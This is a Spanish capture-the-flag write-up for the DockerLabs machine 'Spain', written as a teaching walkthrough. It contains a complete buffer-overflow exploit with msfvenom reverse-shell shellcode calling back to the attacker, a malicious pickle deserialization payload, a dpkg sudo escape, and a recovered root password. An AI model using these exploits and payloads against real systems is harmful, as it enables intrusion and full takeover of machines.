maciferna
  • 🖥️Whoami
  • 📚Writeups
    • BugBountyLabs
      • Corsy
    • DockerLabs
      • 0xc0ffee
      • 404-Not-Found
      • Allien
      • Anonymouspingu
      • Apolos
      • Asucar
      • Backend
      • BadPlugin
      • Balulero
      • Borazuwarahctf
      • Bruteshock
      • Buffered
      • Candy
      • Chmod-4755
      • Corruptress
      • Cracker
      • Crackoff
      • Dance-Samba
      • Darkweb
      • Debugme
      • Devil
      • Devtools
      • Eclipse
      • Express
      • File
      • Findyourstyle
      • Flow
      • Forgotten_Portal
      • Gallery
      • Hackmedaddy
      • Hidden
      • Inj3ct0rss
      • Injection
      • Insanity
      • Jenkhack
      • Lfi.elf
      • Life Or Dead
      • Mapache2
      • Master
      • Machupichu
      • Mirame
      • Paradise
      • Patria Querida
      • PingPong
      • Pntopntobarra
      • Pressenter
      • Raas
      • Report
      • Reverse
      • Rubiks
      • R00tless
      • Seeker
      • Sender
      • Showtime
      • Sites
      • Smashing
      • Spain
      • Stack
      • Stellarjwt
      • Stranger
      • SubVersion
      • The Dog
      • UserSearch
      • Vulnvault
      • Vulnerame
      • Wallet
      • Winterfell
    • HackMyVM
      • Hero
      • MagiFi
    • HackTheBox
      • Puppy
    • The Hackers Labs
      • Casa Paco
      • Shadow Gate
      • Token Of Hate
    • Vulnyx
      • Lost Tape
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Intrusión
  • Escalada De Privilegios
  1. Writeups
  2. DockerLabs

Spain

AnteriorSmashingSiguienteStack

Última actualización hace 5 meses

Máquina Spain de DockerLabs

Autor: Darksblack

Dificultad: Dificil

Reconocimiento

Comenzamos con un escaneo de nmap:

nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv 172.17.0.2 -oN escaneo.txt
# Nmap 7.95 scan initiated Wed Jan  1 15:42:15 2025 as: nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv -oN escaneo.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000013s latency).
Scanned at 2025-01-01 15:42:16 -03 for 8s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 66:db:6e:23:2a:f4:01:ab:3a:41:be:a4:a7:f9:1b:d1 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAgH+b8EgCWbeHUjWM7p/9xMhnyXNLNJwcEs2/t3YbYlUMtdwNIEI/pBWV+NYuSxPOh/jynK6U8Fm9C3XJL+fXA=
|   256 f3:3e:ee:2e:bb:75:63:ad:bf:7b:1e:84:81:40:2d:92 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFtQsSJOgWhxPUYu9puLmWzjGdNXrrCmUIR4CQYi6PVr
80/tcp   open  http        syn-ack ttl 64 Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://spainmerides.dl
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
9000/tcp open  cslistener? syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  1 15:42:24 2025 -- 1 IP address (1 host up) scanned in 8.89 seconds

Tenemos 3 puertos abiertos:

•Puerto 22: OpenSSH 9.2p1

•Puerto 80: Apache httpd 2.4.62

•Puerto 9000: Servicio Desconocido

ademas, como se ve en el escaneo, hay un dominio "spainmerides.dl", por lo que lo añadiremos al /etc/hosts de la siguiente manera:

<IP>	spainmerides.dl

Fuzzing web

Luego de revisar la página y no encontrar nada útil, se me ocurre realizar fuzzing con gobuster:

gobuster dir -u "http://spainmerides.dl" -w $seclists/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://spainmerides.dl
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 776]
/manager.php          (Status: 200) [Size: 1472]
Progress: 36222 / 882240 (4.11%)
===============================================================
Finished
===============================================================

si vamos a manager.php, veremos que hay un archivo para descargar llamado "bitlock", por lo que nos lo descargaremos.

Intrusión

Binary test

Al ejecutar file y pasarle el binario vemos lo siguiente:

bitlock: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5b79b3eebf4e41a836c862279f4a5bc868c61ce7, for GNU/Linux 3.2.0, not stripped

esto significa que el binario es un ejecutable de 32 bits, y según checksec, no tiene protecciones:

❯ checksec --file=bitlock
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   52 Symbols	 No	0		3		bitlock

Ahora vamos a ejecutarlo para un uso normal y ver un poco su funcionalidad:

❯ ./bitlock
Esperando conexiones en el puerto 9000...

como vemos está esperando conexiones por el puerto 9000, por lo que probablemente también sea el binario que se encuentra ejecutado en la máquina. También, si nos conectamos mediante telnet, y enviamos una cantidad grande de datos:

❯ telnet 127.0.0.1 9000
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
AAAAAAAAAAAAAAAAAA<SNIP>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.

veremos lo siguiente en el binario:

zsh: segmentation fault (core dumped)  ./bitlock

Esto significa que presenta una vulnerabilidad de buffer overflow, y como el binario no tiene protecciones, podremos armar un exploit que nos permita recibir una conexión al ejecutar una reverseshell en el.

Buffer Overflow

Comenzaremos a crear nuestro exploit, para esto empezaremos con la base del mismo:

#!/usr/bin/env python3

from pwn import *

def exploit():

    ip='127.0.0.1'
    port='9000'






    pattern = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'







    payload = pattern


    conectar = remote(ip, port)
    conectar.sendline(payload)
    conectar.close

if __name__ == "__main__":
    exploit()

Listo, ya tenemos la base del exploit, ahora necesitaremos de gdb para poder depurar el binario:

gdb -q ./bitlock

(Para que sea mas sencillo, se puede instalar Pwndbg)

en gdb ejecutamos run y el binario estará iniciado, ahora solo nos queda ejecutar el exploit y ver que ocurre:

EIP  0x61413761 ('a7Aa')

Como vemos, el EIP se ha rellenado con nuestro pattern, por lo que ahora podemos obtener el valor del offset usando la herramienta pattern_offset de metasploit:

❯ /opt/metasploit/tools/exploit/pattern_offset.rb -q a7Aa
[*] Exact match at offset 22

Perfecto, ya tenemos el offset, vamos a actualizar el exploit para poder tomar el control del EIP:

#!/usr/bin/env python3

from pwn import *

def exploit():

    ip='127.0.0.1'
    port='9000'


    # Offset
    offset = 22

    # Buffer
    buffer = b"A"*offset

    # EIP
    eip = b"B"*4




    payload = buffer + eip


    conectar = remote(ip, port)
    conectar.sendline(payload)
    conectar.close

if __name__ == "__main__":
    exploit()

Resultado:

EIP  0x42424242 ('BBBB')

Perfecto, ya logramos tomar el control del EIP, ahora necesitamos ver en donde se guardan los nops que enviemos para saber como ejecutar nuestro shellcode:

#!/usr/bin/env python3

from pwn import *

def exploit():

    ip='127.0.0.1'
    port='9000'


    # Offset
    offset = 22

    # Buffer
    buffer = b"A"*offset

    # EIP
    eip = b"B"*4

    # NOPS
    nops = b"\x90"*32



    payload = buffer + eip + nops


    conectar = remote(ip, port)
    conectar.sendline(payload)
    conectar.close

if __name__ == "__main__":
    exploit()

Resultado:

Como vemos, nuestros nops se estan almacenando al principio de la pila, esto significa que podemos intentar utilizar la dirección del gadget jmp esp el cual hace un salto a "esp" y así poder ejecutar nuestro shellcode. Para saber la direccion de jmp esp utilizaremos la herramienta nasm_shell de metasploit y objdump:

❯ /opt/metasploit/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000  FFE4              jmp esp
nasm > exit
❯ objdump -d bitlock | grep "ff e4"
 804948b:	ff e4                	jmp    *%esp
❯ 

Perfecto, ya tenemos la dirección:

 804948b:	ff e4                	jmp    *%esp

Ahora solo nos queda crear un shellcode con metasploit y actualizar el exploit:

msfvenom -p linux/x86/shell_reverse_tcp lhost='172.17.0.1' lport='9090' -b "\x00\xff\x0a\x0d" -f py -v shellcode
shellcode =  b""
shellcode += b"\xda\xc8\xba\xf6\x2a\x66\x39\xd9\x74\x24\xf4"
shellcode += b"\x5b\x2b\xc9\xb1\x12\x31\x53\x17\x83\xc3\x04"
shellcode += b"\x03\xa5\x39\x84\xcc\x78\xe5\xbf\xcc\x29\x5a"
shellcode += b"\x13\x79\xcf\xd5\x72\xcd\xa9\x28\xf4\xbd\x6c"
shellcode += b"\x03\xca\x0c\x0e\x2a\x4c\x76\x66\x01\xbf\x88"
shellcode += b"\x77\x31\xc2\x88\x54\x43\x4b\x69\x2a\x25\x1c"
shellcode += b"\x3b\x19\x19\x9f\x32\x7c\x90\x20\x16\x16\x45"
shellcode += b"\x0e\xe4\x8e\xf1\x7f\x25\x2c\x6b\x09\xda\xe2"
shellcode += b"\x38\x80\xfc\xb2\xb4\x5f\x7e"

Ahora si, teniendo el shellcode actualizamos el exploit:

#!/usr/bin/env python3

from pwn import *

def exploit():

    ip='127.0.0.1'
    port='9000'


    # Offset
    offset = 22

    # Buffer
    buffer = b"A"*offset

    # EIP
    eip = p32(0x804948b)

    # NOps
    nops = b"\x90"*32

    # Shellcode
    
    shellcode =  b""
    shellcode += b"\xda\xc8\xba\xf6\x2a\x66\x39\xd9\x74\x24\xf4"
    shellcode += b"\x5b\x2b\xc9\xb1\x12\x31\x53\x17\x83\xc3\x04"
    shellcode += b"\x03\xa5\x39\x84\xcc\x78\xe5\xbf\xcc\x29\x5a"
    shellcode += b"\x13\x79\xcf\xd5\x72\xcd\xa9\x28\xf4\xbd\x6c"
    shellcode += b"\x03\xca\x0c\x0e\x2a\x4c\x76\x66\x01\xbf\x88"
    shellcode += b"\x77\x31\xc2\x88\x54\x43\x4b\x69\x2a\x25\x1c"
    shellcode += b"\x3b\x19\x19\x9f\x32\x7c\x90\x20\x16\x16\x45"
    shellcode += b"\x0e\xe4\x8e\xf1\x7f\x25\x2c\x6b\x09\xda\xe2"
    shellcode += b"\x38\x80\xfc\xb2\xb4\x5f\x7e"






    payload = buffer + eip + nops + shellcode


    conectar = remote(ip, port)
    conectar.sendline(payload)
    conectar.close

if __name__ == "__main__":
    exploit()

Probamos a escuchar por el puerto 9090 con nc y a ejecutar el exploit:

❯ nc -nlvp 9090
Listening on 0.0.0.0 9090

Connection received on 192.168.1.109 43892
id
uid=1000(macimo) gid=984(users) groups=984(users),954(docker),998(wheel)

perfecto, como vemos la shell nos llega correctamente, por lo que ahora si, finalmente vamos a volver a actualizar el exploit pero para que apunte a la maquina victima:

#!/usr/bin/env python3

from pwn import *

def exploit():

    ip='172.17.0.2'
    port='9000'


    # Offset
    offset = 22

    # Buffer
    buffer = b"A"*offset

    # EIP
    eip = p32(0x804948b)

    # NOps
    nops = b"\x90"*32

    # Shellcode
    
    shellcode =  b""
    shellcode += b"\xda\xc8\xba\xf6\x2a\x66\x39\xd9\x74\x24\xf4"
    shellcode += b"\x5b\x2b\xc9\xb1\x12\x31\x53\x17\x83\xc3\x04"
    shellcode += b"\x03\xa5\x39\x84\xcc\x78\xe5\xbf\xcc\x29\x5a"
    shellcode += b"\x13\x79\xcf\xd5\x72\xcd\xa9\x28\xf4\xbd\x6c"
    shellcode += b"\x03\xca\x0c\x0e\x2a\x4c\x76\x66\x01\xbf\x88"
    shellcode += b"\x77\x31\xc2\x88\x54\x43\x4b\x69\x2a\x25\x1c"
    shellcode += b"\x3b\x19\x19\x9f\x32\x7c\x90\x20\x16\x16\x45"
    shellcode += b"\x0e\xe4\x8e\xf1\x7f\x25\x2c\x6b\x09\xda\xe2"
    shellcode += b"\x38\x80\xfc\xb2\xb4\x5f\x7e"

	# Payload
    payload = buffer + eip + nops + shellcode


    conectar = remote(ip, port)
    conectar.sendline(payload)
    conectar.close

if __name__ == "__main__":
    exploit()

lo ejecutamos y recibimos una conexion desde la maquina victima:

❯ nc -nlvp 9090
Listening on 0.0.0.0 9090
Connection received on 172.17.0.2 57308
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Escalada De Privilegios

www-data

Si ejecuto sudo -l veo lo siguiente:

www-data@dockerlabs:/$ sudo -l
Matching Defaults entries for www-data on dockerlabs:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on dockerlabs:
    (maci) NOPASSWD: /bin/python3 /home/maci/.time_seri/time.py
www-data@dockerlabs:/$ 

Viendo esto, intento leer el archivo .py y veo lo siguiente:

import pickle
import os

file_path = "/opt/data.pk1"
config_file_path = "/home/maci/.time_seri/time.conf"

def load_pickle_file(file_path):
    """Carga un archivo pickle y devuelve su contenido."""
    if not os.path.exists(file_path):
        print(f"El archivo {file_path} no se encontró.")
        return None
    
    try:
        with open(file_path, 'rb') as f:
            data = pickle.load(f)
            return data
    except PermissionError:
        print("No tienes permiso para leer el archivo.")
    except pickle.UnpicklingError:
        print("Error al deserializar el archivo: el archivo puede estar corrupto o no es un archivo pickle válido.")
    except EOFError:
        print("El archivo está vacío o truncado.")
    except Exception as e:
        print(f"Ocurrió un error inesperado: {e}")
    
    return None

def is_serial_enabled(config_file_path):
    """Verifica si la serialización está habilitada en el archivo de configuración."""
    if not os.path.exists(config_file_path):
        print(f"El archivo de configuración {config_file_path} no se encontró.")
        return False
    
    with open(config_file_path, 'r') as config_file:
        for line in config_file:
            if line.startswith('serial='):
                value = line.split('=')[1].strip()
                return value.lower() == 'on'
    
    return False

if __name__ == "__main__":
    if is_serial_enabled(config_file_path):
        data = load_pickle_file(file_path)
        if data is not None:
            print("Datos deserializados correctamente, puedes revisar /tmp")
#            print(data)
    else:
        print("La serialización está deshabilitada. El programa no se ejecutará.")

primero activo la serialización en el archivo .conf:

echo "" > /home/maci/.time_seri/time.conf && echo "serial=on" > /home/maci/.time_seri/time.conf 

luego de buscar encontré el siguiente exploit el cual nos puede ayudar a crear el archivo .pk1:

import pickle
import os

# Create a malicious class
class Malicious:
    def __reduce__(self):
        # os.system will execute the command
        return (os.system, ('echo "This is malicious code!"',))

# Serialize the malicious object
malicious_data = pickle.dumps(Malicious())

# Deserialize the malicious object (this will execute the command)
pickle.loads(malicious_data)

nosotros lo debemos modificar de la siguiente manera para poder ejecutar otro comando y hacer que el archivo quede en /opt/data.pk1 como pide el script de python que podemos ejecutar como maci:

import pickle
import os

# Create a malicious class
class Malicious:
    def __reduce__(self):
        # os.system will execute the command
        return (os.system, ('/bin/bash -p',))

# Serialize the malicious object
malicious_data = pickle.dumps(Malicious())

# Write the serialized object to a file in /tmp
with open('/opt/data.pk1', 'wb') as file:
    file.write(malicious_data)

lo ejecutamos, y finalmente ejecutamos el script como maci para escalar a maci:

sudo -u maci python3 /home/maci/.time_seri/time.py 

Maci

Nuevamente ejecutamos sudo -l y vemos lo siguiente:

maci@dockerlabs:~/.time_seri$ sudo -l
Matching Defaults entries for maci on dockerlabs:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User maci may run the following commands on dockerlabs:
    (darksblack) NOPASSWD: /usr/bin/dpkg
maci@dockerlabs:~/.time_seri$ 

Con dpkg tenemos una manera muy facil de escalar:

sudo -u darksblack dpkg -l

cuando nos aparezca mucha info, introducimos lo siguiente:

!bash

Darksblack

Ahora tendremos una shell como darksblack, el problema es que nuestra variable "PATH" esta mal, por lo que tendremos que repararla. Para esto haremos lo siguiente:

echo "y" | /bin/rm ~/.bashrc && echo '#!/bin/bash' > ~/.bashrc && echo 'export PATH=/usr/bin/:/bin/:/usr/local/bin' >> ~/.bashrc

luego reiniciamos la shell y ya estaríamos de manera relativamente cómoda. Si nos fijamos en la home, existe un binario llamado "Olympus". Si a este lo revisamos con strings veremos que al parecer ejecuta otro binario en /home/darksblack/.zprofile/OlympusValidator, este lo pasamos a nuestra máquina local con python3 -m http.server 9090 y lo descargamos.

Ingenieria inversa

Para esto necesitaremos ghidra en el cual importaremos el archivo, luego de revisarlo un poco, veo que el serial que espera es el siguiente:

A678-GHS3-OLP0-QQP1-DFMZ

y si ejecuto el binario y le paso ese serial me dice lo siguiente:

❯ ./OlympusValidator A678-GHS3-OLP0-QQP1-DFMZ
VALIDO
Credenciales ssh root:@#*)277280)6x4n0

por lo que para escalar a root vamos a nuestra maquina local y nos conectamos por ssh de la siguiente manera:

ssh root@172.17.0.2

e introducimos la contraseña "@#*)277280)6x4n0"

Root

Gracias por leer ;)

📚
Spain
ESP
Root